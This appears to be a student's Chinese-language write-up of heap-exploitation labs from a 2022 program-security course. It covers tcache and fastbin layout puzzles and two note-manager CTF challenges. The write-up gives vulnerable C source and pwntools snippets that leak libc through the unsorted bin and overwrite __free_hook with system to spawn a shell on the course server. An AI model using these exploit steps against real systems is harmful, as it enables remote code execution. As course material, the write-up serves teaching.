--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x08] pwn II <style> img { box-shadow: 0px 0px 15px #000; } </style> lecture1: https://youtu.be/Xppj8lA04qQ lecture2: https://youtu.be/00IkLtMWGWA lecture3: https://youtu.be/MwjSNFQIx0c slide: https://drive.google.com/file/d/1eUkAwFXv15w3PZKhakeXK-wbjNQoPLfR/view?usp=share_link ### [LAB] heapmath 做這題的時候直接在自己的虛擬機跑 然後遇到一些問題 就是 `tcache_entry.next` 的部分 發現他不是指向下一個 `tcache_entry` 而是一個奇怪的位置 自己追了一下 `glibc` 發現原來 `tcache_entry.next` 上了保護機制 所以 `tcache_entry.next` 要經處理 (`REVEAL_PTR`) 後才會是真正的 `tcache_entry.next` REVEAL_PTR https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#335 tcache_get https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#3191 __libc_malloc https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#3308 #### tcache chall ```c ----------- ** tcache chall ** ----------- char *A = (char *) malloc(0x28); char *B = (char *) malloc(0x16); char *C = (char *) malloc(0x19); char *D = (char *) malloc(0x13); char *E = (char *) malloc(0x25); char *F = (char *) malloc(0x24); char *G = (char *) malloc(0x24); free(D); free(C); free(A); free(G); free(B); free(E); free(F); [chunk size] 0x20: B --> D --> NULL (just send "B --> D --> NULL") [chunk size] 0x30: ? > F --> E --> G --> A --> C --> NULL Correct ! [chunk size] 0x40: ? > NULL Correct ! ``` 這部分題目要我們判斷 `free()` 的時候 `tcache` 會怎麼紀錄那些位置 需要計算會進到哪個大小的 `tcache subbin` 以及進入後的連結方式 對於一個的 `x = malloc(a); free(x);` 他的 `chunk size` 計算如下 $$size = max(0x20, f(a+0x10-0x08))$$ 其中 $f(x)$ 表示向上對齊 $0x10$ 其中 `chunk size` 最小會是 $0x20$ 之所以會有 $+0x10$ 是因為每個 `chunk` 最上面會存放他的 `metadata` 之所以會有 $-0x08$ 是因為下一個 `chunk` 的前面 `0x08` 個 `bits` 也會拿來放資料 接著是 `chunk` 被放於 `tcache` 的時候的連結方式 每次有新東西進入 `subbin` 的時候會串到 `linked-list` 的最前面 所以串的順序會跟 `free` 的順序相反 有這倆個資訊就可以解出這部分的題目 #### address chall ```c ----------- ** address chall ** ----------- assert( B == 0x55d6c20642e0 ); C == ? (send as hex format, e.g. "0x55d6c20642e0") ``` 這題是承接上一題的部分 計算位置 我們只需要將 `B` 的位置 加上他跟 `C` 之間所間隔的距離即可 至於間隔多遠 那個距離就是他們中間東西的大小和 他們中間的每個東西的大小 就是上一題目所算的 `chunk size` #### index chall ```c ----------- ** index chall ** ----------- unsigned long *X = (unsigned long *) malloc(0x60); unsigned long *Y = (unsigned long *) malloc(0x60); Y[10] = 0xdeadbeef; X[?] == 0xdeadbeef (just send an integer, e.g. "8") ``` 這題是算相對位置 我們需要先算出 `X` 的 `chunk size` 因為題目有幫忙把 $size_x$ 對齊到 $0x10$ 所以 $chunksize_x=size_x+0x10$ 那答案就會是 $$ ans = chunksize_x/8+idx2 $$ 那個 $0x10$ 的部分我們需要額外加上去的原因是因為 `Y` 的一開始還會有 $0x10$ `chunk metadata` 至於 $/8$ 的部分是因為 `unsigned long` 每個的大小是 $0x08$ #### tcache fd chall ```c ----------- ** tcache fd chall ** ----------- free(X); free(Y); assert( Y == 0x560087664450 ); fd of Y == ? (send as hex format, e.g. "0x560087664450") ``` 這邊就是我在我的 `VM` 上遇到的問題 如同最上方我所說明的部分 `fd` 會被放上保護機制 所以連題目的機器來解 這題的 `Y` `fd` 會指向 `X chunk` 的 `data` 所以 $addr_x$ 就會是答案 $$ ans = addr_x=addr_y-chunksize_x $$ #### fastbin fd chall ```c ----------- ** fastbin fd chall (final) ** ----------- [*] Restore the chunk to X and Y Y = (unsigned long *) malloc(0x40); X = (unsigned long *) malloc(0x40); [*] Do something to fill up 0x50 tcache ... [*] finish free(X); free(Y); assert( Y == 0x564022ee7440 ); fd of Y == ? (send as hex format, e.g. "0x564022ee7440") ``` 這邊也是找 `fd` 只是要找的是 `fastbin` 的 `fd` 他跟 `tcache` 的 `fd` 的差別是 `fastbin` 的 `fd` 會指向 `chunk` 的頂端而非 `data` 所以 $$ ans = addr_x-0x10 $$ #### solve 把上述步驟寫成 script 來解就可以拿到 `flag` 了 ##### `heapmath/exp.py` ```python '''output Correct ! Here is your flag: FLAG{owo_212ad0bdc4777028af057616450f6654} ''' ``` ### [LAB] babynote #### 題目 ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> struct Note { char name[0x10]; void *data; }; struct Note *notes[0x10]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 0x10) printf("no, no ...\n"), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); return size; } void add_note() { short int idx; idx = get_idx(); notes[idx] = malloc(sizeof(*notes[idx])); printf("note name\n> "); read(0, notes[idx]->name, 0x10); notes[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (notes[idx]->data == NULL) notes[idx]->data = malloc(size); read(0, notes[idx]->data, size); printf("success!\n"); } void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); } void show_notes() { for (int i = 0; i < 0x10; i++) { if (notes[i] == NULL || notes[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data); } } int main() { char opt[2]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); while (1) { printf("1. add_note\n" "2. edit_data\n" "3. del_note\n" "4. show_notes\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_note(); break; case '2': edit_data(); break; case '3': del_note(); break; case '4': show_notes(); break; case '5': exit(0); } } return 0; } ``` #### 取得 `__free_hook` `system` 位置 ```python= add_note(0, name='A'*0x10) edit_note(0, 0x418, 'A'*0x418) add_note(1, name='B'*0x10) edit_note(1, 0x18, 'B'*0x18) add_note(2, name='C'*0x10) edit_note(2, 0x18, 'C'*0x18) del_note(idx=0) main_arena_addr = get_first_data() ``` 透過上面的操作可以使 `Notes[0] -> data` 進到 `unsortedbin` (因為大小比 `tcache` `fastbin` `smallbin` 可以吃的都還大,而下一個順位是 `unsortedbin`) 這樣會使得 `Notes[0] -> data` 的地方被放上指向 `main_arena+96` 的 `FD` 由下圖可以確認 ![](https://i.imgur.com/J3wnoeu.png) 關於 `main_arena+96` 要怎麼取得 其實只要使用 `show_notes` 就會直接印出來了 因為 `__free_hook` `system` `main_arena+96` 的相對位置都是固定的 所以只要於 `gdb` 中任取一次這三個的位置 (這邊取名為 `freehook_relative_addr` `system_relative_addr` `main_arena_relative_addr`) 然後取得真實的 `main_arena+96` 的位置 其他的兩個位置就出來了 ```c main_arena_addr = get_first_data() main_arena_addr = u64(main_arena_addr) freehook_addr = main_arena_addr + (freehook_relative_addr - main_arena_relative_addr) system_addr = main_arena_addr + (system_relative_addr - main_arena_relative_addr) ``` 實際用 `gdb` 測也能看出算出來的結果是正確的 ![](https://i.imgur.com/z2qIffY.png) #### 利用 `__free_hook` 來取得 `system("/bin/sh\x00")` ```c= B_data = flat( b'/bin/sh\x00', b'B'*8, b'C'*8, b'C'*8, b'C'*8, b'C'*8, p64(freehook_addr) ) edit_note(1, len(B_data), B_data) edit_note(2, 8, p64(system_addr)) del_note(1) ``` 上面的 `script` 到 `:7` 的時候 會把 `heap` 上的東西蓋成下圖的 $2$ `:8` 則是下圖的 $3$ 原本 `__free_hook` 的地方變成了指向 `system` 這樣之後只要執行到 `free` 都會執行 `system` 至於 `system` 的 `argument` 則是與 pass 給 `free` 的相同 所以此時跑道 `:10` 的時候 會呼叫到 `free(B->data)` 而 `B->data` 此時已經是 `/bin/sh\x00` 了 所以等同於呼叫 `system("/bin/sh\x00")` ![](https://i.imgur.com/hhLVRrk.png) ##### `babynote/exp.py` ```python '''output main_arena_addr: 0x7f0985a19be0 freehook_addr: 0x7f0985a1be48 system_addr: 0x7f098587f290 $ cat /home/chal/flag FLAG{babynote^_^_de9187eb6f3cbc1dce465601015f2ca0} ''' ``` ### [HW] babyums (flag2) 這題其實跟上一題解法一樣 #### 題目 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define FLAG1 "flag{XXXXXXXX}" struct User { char name[0x10]; char password[0x10]; void *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x500) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); printf("password\n> "); read(0, users[idx]->password, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = malloc(size); read(0, users[idx]->data, size); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); free(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data); } } void add_admin() { users[0] = malloc(sizeof(*users[0])); strcpy(users[0]->name, "admin"); strcpy(users[0]->password, FLAG1); users[0]->data = NULL; } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** User Management System ****\n"); add_admin(); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ``` #### 取得 `__free_hook` `system` 位置 ```c add_user(0, 'ausername', 'apassword') edit_data(0, 0x418, 'a' * 0x418) add_user(1, 'busername', 'bpassword') edit_data(1, 0x18, 'c' * 0x18) add_user(2, 'cusername', 'cpassword') edit_data(2, 0x18, 'c' * 0x18) del_user(0) main_arena_addr = get_first_data() main_arena_addr = u64(main_arena_addr) freehook_addr = main_arena_addr + (freehook_relative_addr - main_arena_relative_addr) system_addr = main_arena_addr + (system_relative_addr - main_arena_relative_addr) ``` 透過上面的操作可以使 `users[0] -> data` 進到 `unsortedbin` (因為大小比 `tcache` `fastbin` `smallbin` 可以吃的都還大,而下一個順位是 `unsortedbin`) 這樣會使得 `users[0] -> data` 的地方被放上指向 `main_arena+96` 的 `FD` 關於 `main_arena+96` 要怎麼取得 其實只要使用 `show_users` 就會直接印出來了 因為 `__free_hook` `system` `main_arena+96` 的相對位置都是固定的 所以只要於 `gdb` 中任取一次這三個的位置 (這邊取名為 `freehook_relative_addr` `system_relative_addr` `main_arena_relative_addr`) 然後取得真實的 `main_arena+96` 的位置 其他的兩個位置就出來了 #### 利用 `__free_hook` 來取得 `system("/bin/sh\x00")` ```c= B_data = flat( b'/bin/sh\x00', b'B' *0x8, b'B'*0x8, b'B'*0x8, b'B'*0x8, b'B'*0x8, b'B'*0x8, b'B'*0x8, p64(freehook_addr) ) edit_data(1, len(B_data), B_data) edit_data(2, 0x8, p64(system_addr)) del_user(1) print("Here's your shell") r.interactive() ``` 上面的 `script` 到 `:9` 的時候 會把 `heap` 上的東西蓋成下圖的 $2$ `:10` 則是下圖的 $3$ 原本 `__free_hook` 的地方變成了指向 `system` 這樣之後只要執行到 `free` 都會執行 `system` 至於 `system` 的 `argument` 則是與 pass 給 `free` 的相同 所以此時跑道 `:12` 的時候 會呼叫到 `free(B->data)` 而 `B->data` 此時已經是 `/bin/sh\x00` 了 所以等同於呼叫 `system("/bin/sh\x00")` ![](https://i.imgur.com/UpoRYzT.png) ##### `babyums/exp.py` ```python '''output [+] Opening connection to edu-ctf.zoolab.org on port 10008: Done main_arena_addr: 0x7f6390183be0 freehook_addr: 0x7f6390185e48 system_addr: 0x7f638ffe9290 [*] Switching to interactive mode FLAG{crocodile_9d7d8f69be2c2ab84721384d5bda877f} ''' ``` ### [HW] babyums (flag1) 由上面的部分 我們取得了 `shell` 接著我 `cat /home/chal/babyums.c` ```c $ cat /home/chal/babyums.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define FLAG1 "FLAG{C8763}" struct User { char name[0x10]; char password[0x10]; void *data; }; ``` 直接拿 `FLAG{C8763}` 去送發現是錯的 所以這邊決定把 `/home/chal/chal` 先 dump 出來 ```c $ cat /home/chal/chal | base64 f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEA8AAAAAAAAAAAAAEAAOAAN AEAAHwAeAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA AAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAAAAGAMAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA ``` 然後把他用 `gdb` 跑起來 讀一下 `heap` 就有 `flag` 了 ![](https://i.imgur.com/4fhWFGg.png)